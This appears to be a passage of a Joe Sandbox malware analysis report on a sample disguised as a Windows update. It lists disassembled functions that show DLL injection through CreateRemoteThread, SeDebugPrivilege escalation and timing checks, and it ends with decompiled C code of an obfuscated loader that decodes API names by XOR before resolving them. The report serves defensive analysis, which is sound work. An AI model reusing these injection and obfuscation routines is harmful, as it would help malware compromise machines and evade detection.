Part of subcall function 00404840: OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
Part of subcall function 00404840: lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 0040489A
Part of subcall function 00404840: VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048B7
Part of subcall function 00404840: WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048D3
Part of subcall function 00404840: GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 004048EB
Part of subcall function 00404840: GetProcAddress.KERNEL32(00000000), ref: 004048F2
Part of subcall function 00404840: CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

CloseHandle.KERNEL32(00000000), ref: 00405263

Strings

o, xrefs: 004050D9
T, xrefs: 004050CF

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CreateHandleProcessProcess32lstrcat$AddressAllocAttributesCloseDirectoryFileFirstMemoryModuleNextOpenProcRemoteSnapshotSystemThreadToolhelp32VirtualWritelstrlen
String ID: T$o
API String ID: 347023813-3088171537
Opcode ID: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
Instruction ID: feaa7f443b79ad3512fc15c49273def89914fdb135639313c3836c96608cb255
Opcode Fuzzy Hash: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
Instruction Fuzzy Hash: 7C51F03510C3D18AD310DB39AC84BDFBFD48BD6324F485A6DE5E8862D2D6788509CB67

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0B0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000), ref: 0041E0FB
LoadResource.KERNEL32(?,00000000,?), ref: 0041E110

Strings

J, xrefs: 0041E0D2
j, xrefs: 0041E0C3

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Resource$FindLoad
String ID: J$j
API String ID: 2619053042-3737368804
Opcode ID: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
Instruction ID: fac2f0c8f6ecf36566f1a5ae47c595f35cc5e359fa8f75e74032fb34fa1c9e17
Opcode Fuzzy Hash: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
Instruction Fuzzy Hash: 4541293A2087815BD3118B29AC85BD73B94D79A370F145139E9A1873F1D778484BC76E

Uniqueness

Uniqueness Score: -1.00%

Function 004047A0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(747C81D0,?,?,?,?,?,?,004051B3), ref: 004047AA
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,004051B3), ref: 004047B3
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,004051B3), ref: 004047B6
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004047CD
AdjustTokenPrivileges.ADVAPI32 ref: 00404810
CloseHandle.KERNEL32(?,?,?,?,?,?,004051B3), ref: 0040482C

Strings

SeDebugPrivilege, xrefs: 004047C6

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Process$CurrentToken$AdjustCloseHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3621747604-2896544425
Opcode ID: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
Instruction ID: 052f3df82ca70502255671040b2a31584c8238dd5ceadda2b5f1d62a07713268
Opcode Fuzzy Hash: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
Instruction Fuzzy Hash: ED01C475608340AFE310DF65DC49B9B7BE4BB88700F40682CF28497291C7B49505CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00404110, Relevance: 7.8, APIs: 5, Instructions: 295synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,00000001), ref: 0040418C
ReleaseMutex.KERNEL32(?,?,?,?,?), ref: 0040426D
ReleaseMutex.KERNEL32(?), ref: 004042A5
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404498
ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,000000FF), ref: 004044F1

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
Instruction ID: 8c9ce78122583aa8a55ee52179d80f89be94f9b8b227595c5774061f7ec44eb9
Opcode Fuzzy Hash: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
Instruction Fuzzy Hash: 50C190751083809FD320CF29D885B9BBBE4AFD9304F10492EF599873A2CB78A509CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00429F44, Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00429F5E
GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 00429F6F
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 00429FB5
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 00429FF3
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0042A019

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
Instruction ID: eda20bf0d75a8237f75d833b080248ab74fea35a03fb107c59d71fc75ff335a4
Opcode Fuzzy Hash: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
Instruction Fuzzy Hash: 6C31A032F00229ABDF108FA4EE45EEE7B78EB04315F550076E901E3290D7759E41DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C1D0, Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040C1DA
GetTickCount.KERNEL32 ref: 0040C1E8
GetTickCount.KERNEL32 ref: 0040C1F6
GetTickCount.KERNEL32 ref: 0040C204

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction ID: 8ac1f8066ba04423f4662e4113d208e2f1450d097528ad0d5c8686e1bb647505
Opcode Fuzzy Hash: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction Fuzzy Hash: 56F0A9319283B19F9704EF39C94518BBBE5EBC4250F54CD2EA895C3214E378D915DF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD00, Relevance: 3.2, APIs: 2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
Instruction ID: 8b5a2351a7d1e8d8b8448e22e26b40c83a0be625b2b6ea0dbd06899092a7e69e
Opcode Fuzzy Hash: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
Instruction Fuzzy Hash: 74A16E762043808FE314CF35EC927967BE6ABA9700F14652EE995873B1D3F78448CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3D0, Relevance: 3.0, Strings: 2, Instructions: 470COMMON

Download Yara Rule

Strings

M, xrefs: 0041B52A
M, xrefs: 0041B6A4

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: MutexObjectReleaseSingleWaitlstrlen
String ID: M$M
API String ID: 2109015423-2122717962
Opcode ID: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
Instruction ID: 65662130b59962f93e7e6451055683d101b0e1da79cd26758f1cd863abbc9b8b
Opcode Fuzzy Hash: 7911a5574d635876bba3228f93589202df659d67aa1a0e78d2affb198733790a
Instruction Fuzzy Hash: 9A12F4B15083408FD704DF24D891AEBBBE9EF99304F04596EF885873A2C775D885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C8B2, Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,00000100,00000006,00000100,?,00000000), ref: 0042C8D2

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
Instruction ID: e4f55cae686a28aa76e175452713597d1e28f11c85c6f89cf701b194585c12d8
Opcode Fuzzy Hash: d9c418d2c5127a8e192e8e4372b48e11d0a1081b729fc00d09ab3506c0033e68
Instruction Fuzzy Hash: 0AE02230B00208EBDB00EBB1EC42ADD37B8AB08318F8041A6F100D61D1DB70D600C71D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F30, Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

8, xrefs: 004061AA

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
Instruction ID: 26635683ad8bc6e3c89de0789139caf88a326a2f6bde127323b4d45711ec2293
Opcode Fuzzy Hash: 814331b60dd9f30dc3f595824217278f4f2d009bcc9f76483a00ba86c43ce653
Instruction Fuzzy Hash: 239136701083914BD710CE2895907AFBBE1ABD6300F45593EE8D26B392D27CD95A8B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00410670, Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

%c%c%c%c%c, xrefs: 004107EB

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CountTick
String ID: %c%c%c%c%c
API String ID: 536389180-1277064353
Opcode ID: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
Instruction ID: 4dc9e3df276925cb3a034685040d612f820b75638e41f6e52d904118c8461c86
Opcode Fuzzy Hash: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
Instruction Fuzzy Hash: CD5105706083409BD304EB26C9C2B9FB6E7AFC9714F04CA3FB159672D1DABC94448B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00425214, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction ID: 3cdbe674e5470716266b0416ac65ed08902d21a00894794e9fc3ed7962c02048
Opcode Fuzzy Hash: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
Instruction Fuzzy Hash: F721D632A00614DFCB14DF69D8809ABB7A5FF45310B8A80A9E915CB286E734F915CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0041D478, Relevance: 158.0, APIs: 13, Strings: 77, Instructions: 482
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0041D478(void* __eax, void* __ebx, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a108, char _a109, char _a110, char _a111, char _a112, char _a113, char _a114, char _a115, char _a116, char _a117, char _a118, char _a119, char _a120, char _a121, char _a122, char _a123, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, CHAR* _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^  *(__esp +  &(__eax[0x10]));
					__eax =  &(__eax[1]);
				} while (__eax < 0x17);
				__edx =  &_a176;
				__eax = GetProcAddress(__edi,  &_a176);
				 *0x431ef4 = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__eax =  &_a108;
					__ecx =  &_a40;
					__edx = 0xc;
					_a108 = 0x53;
					_a109 = 0x8b;
					_a110 = 0xbe;
					_a111 = 0xec;
					_a112 = 0xbe;
					_a113 = 0x6c;
					_a114 = 0x99;
					_a115 = 0x48;
					_a116 = 0x4e;
					_a117 = 0x30;
					_a118 = 0x6a;
					_a119 = 0xa4;
					_a40 = 0x21;
					_a41 = 0x76;
					_a42 = 0x1f;
					_a43 = 0x71;
					_a44 = 0x18;
					_a45 = 0x76;
					_a46 = 0x13;
					_a47 = 0x67;
					_a48 = 0x49;
					_a49 = __bl;
					_a50 = 0x41;
					_a51 = __bl;
					__eax = E0041C4C0( &_a40, 0xc,  &_a108);
					__edi = __eax;
					__eax = 0;
					if(__edi == 0) {
						L28:
						__ecx = _a336;
						_pop(__edi);
						__eax = E00424873(__eax, _a336);
						__esp = __esp + 0x144;
						return __eax;
					} else {
						_a176 = 0xd3;
						_a177 = 0xf4;
						_a178 = 0xee;
						_a179 = 0xff;
						_a180 = 0xe8;
						_a181 = 0xf4;
						_a182 = 0xff;
						_a183 = 0xee;
						_a184 = 0xdd;
						_a185 = 0xff;
						_a186 = 0xee;
						_a187 = 0xd9;
						_a188 = 0xf5;
						_a189 = 0xf4;
						_a190 = 0xf4;
						_a191 = 0xff;
						_a192 = 0xf9;
						_a193 = 0xee;
						_a194 = 0xff;
						_a195 = 0xfe;
						_a196 = 0xc9;
						_a197 = 0xee;
						_a198 = 0xfb;
						_a199 = 0xee;
						_a200 = 0xff;
						_a201 = 0x9a;
						do {
							 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^ 0x0000009a;
							__eax =  &(__eax[1]);
						} while (__eax < 0x1a);
						__ecx =  &_a176;
						__eax = GetProcAddress(__edi, __ecx);
						 *0x431ef8 = __eax;
						if(__eax == 0) {
							goto L1;
						} else {
							_a40 = 0xec;
							_a41 = 0xcb;
							_a42 = 0xd1;
							_a43 = 0xc0;
							_a44 = 0xd7;
							_a45 = 0xcb;
							_a46 = 0xc0;
							_a47 = 0xd1;
							_a48 = 0xea;
							_a49 = 0xd5;
							_a50 = 0xc0;
							_a51 = 0xcb;
							_a52 = 0xe4;
							_a53 = 0xa5;
							__eax = 0;
							do {
								 *(__esp +  &(__eax[0x28])) =  *(__esp +  &(__eax[0x28])) ^ 0x000000a5;
								__eax =  &(__eax[1]);
							} while (__eax < 0xe);
							__edx =  &_a40;
							__eax = GetProcAddress(__edi,  &_a40);
							 *0x431efc = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								_a56 = 0xa3;
								_a57 = 0x84;
								_a58 = 0x9e;
								_a59 = 0x8f;
								_a60 = 0x98;
								_a61 = 0x84;
								_a62 = 0x8f;
								_a63 = 0x9e;
								_a64 = 0xa5;
								_a65 = 0x9a;
								_a66 = 0x8f;
								_a67 = 0x84;
								_a68 = 0xbf;
								_a69 = 0x98;
								_a70 = 0x86;
								_a71 = 0xab;
								_a72 = 0xea;
								__eax = 0;
								do {
									 *(__esp +  &(__eax[0x38])) =  *(__esp +  &(__eax[0x38])) ^ 0x000000ea;
									__eax =  &(__eax[1]);
								} while (__eax < 0x11);
								__eax =  &_a56;
								__eax = GetProcAddress(__edi,  &_a56);
								 *0x431f00 = __eax;
								if(__eax == 0) {
									goto L1;
								} else {
									__bl = 0x9f;
									_a76 = 0x88;
									_a77 = 0x43;
									_a78 = 0xfc;
									_a79 = 0x99;
									_a80 = 0xa6;
									_a81 = 0x58;
									_a82 = 0x6a;
									_a83 = 0xe2;
									_a84 = 0xbe;
									_a85 = 0x9f;
									_a86 = 0x20;
									_a87 = 0xed;
									_a88 = 0x35;
									_a89 = 0xb4;
									_a90 = 0x34;
									_a91 = 0xfa;
									_a92 = 0xe7;
									_a120 = 0xc1;
									_a121 = 0x2b;
									_a122 = 0x78;
									_a123 = 0xcc;
									_a124 = 0xcc;
									_a125 = 0x16;
									_a126 = 0xfb;
									_a127 = 0x92;
									_a128 = 0x94;
									_a129 = 0xc6;
									_a130 = 0x41;
									_a131 = 0x77;
									_a132 = 0x11;
									_a133 = 0xb5;
									_a134 = 0x38;
									_a135 = 0x6b;
									_a136 = 0x19;
									__eax = 0;
									do {
										 *((char*)(__esp +  &(__eax[0x4c]))) =  *((intOrPtr*)(__esp +  &(__eax[0x4c]))) +  *((intOrPtr*)(__esp +  &(__eax[0x78])));
										__eax =  &(__eax[1]);
									} while (__eax < 0x11);
									__edx =  &_a76;
									__eax = GetProcAddress(__edi,  &_a76);
									 *0x431f04 = __eax;
									if(__eax == 0) {
										goto L1;
									} else {
										_a220 = 0x56;
										_a130 = 0x56;
										__eax =  &_a216;
										__ecx =  &_a120;
										__edx = 0x14;
										_a216 = 6;
										_a217 = 0x36;
										_a218 = 0xb9;
										_a219 = 0x60;
										_a221 = 1;
										_a222 = 0x32;
										_a223 = 0x3e;
										_a224 = 0xcb;
										_a225 = 0x26;
										_a226 = 0xf;
										_a227 = 0xa5;
										_a228 = 1;
										_a229 = 0xa3;
										_a230 = 0x3c;
										_a231 = 0xd2;
										_a232 = 0x72;
										_a233 = 0x9f;
										_a234 = 0x9a;
										_a235 = 0xed;
										_a120 = 0x42;
										_a121 = 0xb;
										_a122 = 0x65;
										_a123 = 0x11;
										_a124 = 0x74;
										_a125 = 6;
										_a126 = 0x68;
										_a127 = 0xd;
										_a128 = 0x79;
										_a129 = 0x3a;
										_a131 = 0x39;
										_a132 = 0x4a;
										_a133 = 0x2f;
										_a134 = 0x67;
										_a135 = 6;
										_a136 = 0x68;
										_a137 = 0xc;
										_a138 = 0x60;
										_a139 = 5;
										__eax = E0041C4C0(__ecx, 0x14,  &_a216);
										__eax = GetProcAddress(__edi, __eax);
										 *0x431f08 = __eax;
										if(__eax == 0) {
											goto L1;
										} else {
											_a96 = 0x40;
											_a97 = 0xec;
											_a98 = 0xfc;
											_a99 = 0xa;
											_a100 = 0xe1;
											_a101 = 0x80;
											_a102 = 0x93;
											_a103 = 0xb7;
											_a104 = 0xf4;
											_a105 = 0xba;
											_a106 = 0xb0;
											_a40 = 0x24;
											_a41 = 0x82;
											_a42 = 0x77;
											_a43 = 0x57;
											_a44 = 0x8f;
											_a45 = 0xe9;
											_a46 = 0x9b;
											_a47 = 0xad;
											_a48 = 0x78;
											_a49 = 0xb2;
											_a50 = 0x50;
											__eax = 0;
											do {
												 *((intOrPtr*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
												 *((char*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
												__eax =  &(__eax[1]);
											} while (__eax < 0xb);
											__edx =  &_a96;
											__edi = LoadLibraryA( &_a96);
											__eax = 0;
											if(__edi == 0) {
												goto L28;
											} else {
												_a140 = 0xce;
												_a141 = 0xe4;
												_a142 = 0xf9;
												_a143 = 0xdb;
												_a144 = 0xff;
												_a145 = 0xef;
												_a146 = 0xf8;
												_a147 = 0xf3;
												_a148 = 0xd5;
												_a149 = 0xcb;
												_a150 = 0x8a;
												do {
													 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
													__eax =  &(__eax[1]);
												} while (__eax < 0xb);
												__eax =  &_a140;
												__eax = GetProcAddress(__edi,  &_a140);
												 *0x431f0c = __eax;
												if(__eax == 0) {
													goto L1;
												} else {
													__ecx =  &_a56;
													_push(0x12);
													__bl = 0xde;
													_push( &_a56);
													__eax =  &_a76;
													_a56 = 0x2b;
													_a57 = 0x7e;
													_a58 = 0x14;
													_a59 = 0xc5;
													_a60 = 0x31;
													_a61 = 0x22;
													_a62 = 0x49;
													_a63 = 0xdc;
													_a64 = 0xd8;
													_a65 = 0x8b;
													_a66 = 0xed;
													_a67 = 0x54;
													_a68 = 0xbb;
													_a69 = 0xba;
													_a70 = 0x48;
													_a71 = 0xbb;
													_a72 = 0xa1;
													_a73 = 0x26;
													_a76 = 0x26;
													_a77 = 0xc4;
													_a78 = 0xde;
													_a79 = 0x3a;
													_a80 = 0xfc;
													_a81 = 0xcf;
													_a82 = 0x27;
													_a83 = 0x84;
													_a84 = 0xc7;
													_a85 = 0xbc;
													_a86 = 0xae;
													_a87 = 0x26;
													_a88 = 0x41;
													_a89 = 0x54;
													_a90 = 0x97;
													_a91 = 0x67;
													_a92 = 0x10;
													_a93 = 0x6f;
													__eax = E0041C580( &_a76);
													__esp = __esp + 8;
													__eax = GetProcAddress(__edi, __eax);
													 *0x431f10 = __eax;
													if(__eax == 0) {
														goto L1;
													} else {
														__edx =  &_a40;
														__ecx =  &_a164;
														__edx = 0xb;
														_a40 = 0x6d;
														_a41 = 0x96;
														_a42 = 0x80;
														_a43 = 6;
														_a44 = 0xa9;
														_a45 = 0x60;
														_a46 = 0x53;
														_a47 = 0xb;
														_a48 = 0xec;
														_a49 = 0xb1;
														_a50 = 0xd3;
														_a164 = 0xc8;
														_a165 = 0x9d;
														_a166 = 0xee;
														_a167 = 0x8b;
														_a168 = 0xf9;
														_a169 = 0xca;
														_a170 = 0xf8;
														_a171 = 0xd6;
														_a172 = 0x92;
														_a173 = 0xde;
														_a174 = 0x92;
														__eax = E0041C4C0(__ecx, 0xb,  &_a40);
														__eax = LoadLibraryA(__eax);
														__edi = __eax;
														if(__edi == 0) {
															goto L1;
														} else {
															__eax =  &_a152;
															_push(0xa);
															_push( &_a152);
															__eax =  &_a204;
															_a152 = 0x37;
															_a153 = 0x3b;
															_a154 = 0x8f;
															_a155 = 0x69;
